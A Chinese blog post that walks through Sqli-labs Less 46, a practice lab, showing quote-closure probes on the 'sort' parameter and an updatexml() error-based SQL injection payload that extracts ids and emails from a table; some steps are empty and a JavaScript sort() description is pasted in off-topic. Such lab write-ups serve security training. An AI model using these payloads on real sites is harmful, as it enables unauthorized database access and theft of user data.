Sqli labs less 46

Less 46 ~ 49 的网页功能是返回一个列表,因此能借助回显位置进行注入。此时可以根据是否返回报错信息,选择使用报错注入还是时间盲注。

1.打开网页,是个新的网页,尝试输入新的参数 sort,网页回显用户名列表。

sort介绍:

参数描述
sortby 可选。规定排序顺序。必须是函数。

如果调用该方法时没有使用参数,将按字母顺序对数组中的元素进行排序,说得更精确点,是按照字符编码的顺序进行排序。要实现这一点,首先应把数组的元素都转换成字符串(如有必要),以便进行比较。

如果想按照其他标准进行排序,就需要提供比较函数,该函数要比较两个值,然后返回一个用于说明这两个值的相对顺序的数字。比较函数应该具有两个参数 a 和 b,其返回值如下:

  • 若 a 小于 b,在排序后的数组中 a 应该出现在 b 之前,则返回一个小于 0 的值。
  • 若 a 等于 b,则返回 0。
  • 若 a 大于 b,则返回一个大于 0 的值。

 

 2.尝试对 sort 参数使用单引号闭合,网页返回错误信息。

 

 3.将后面的内容注释掉,根据网页返回的错误信息判断,此处存在的数值型注入。

?sort=1'--+
?sort=1')--+
?sort=1'))--+
?sort=1"--+
?sort=1")--+
?sort=1"))--+

 

 4.获取数据库信息

由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置。此处可以使用 updatexml() 函数进行报错注入,把敏感信息输出在错误信息中,payload 可以参考 Less 17。爆数据库名。

 

 5.爆表名

 

 

 6.爆字段名

 

 7.获取emails表中的信息

 

 8.改变 LIMIT 子句后的参数,取出其他数据

?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)#

 

posted @ 2021-09-15 15:41  Nuyoah_QQ  阅读(39)  评论(0)    收藏  举报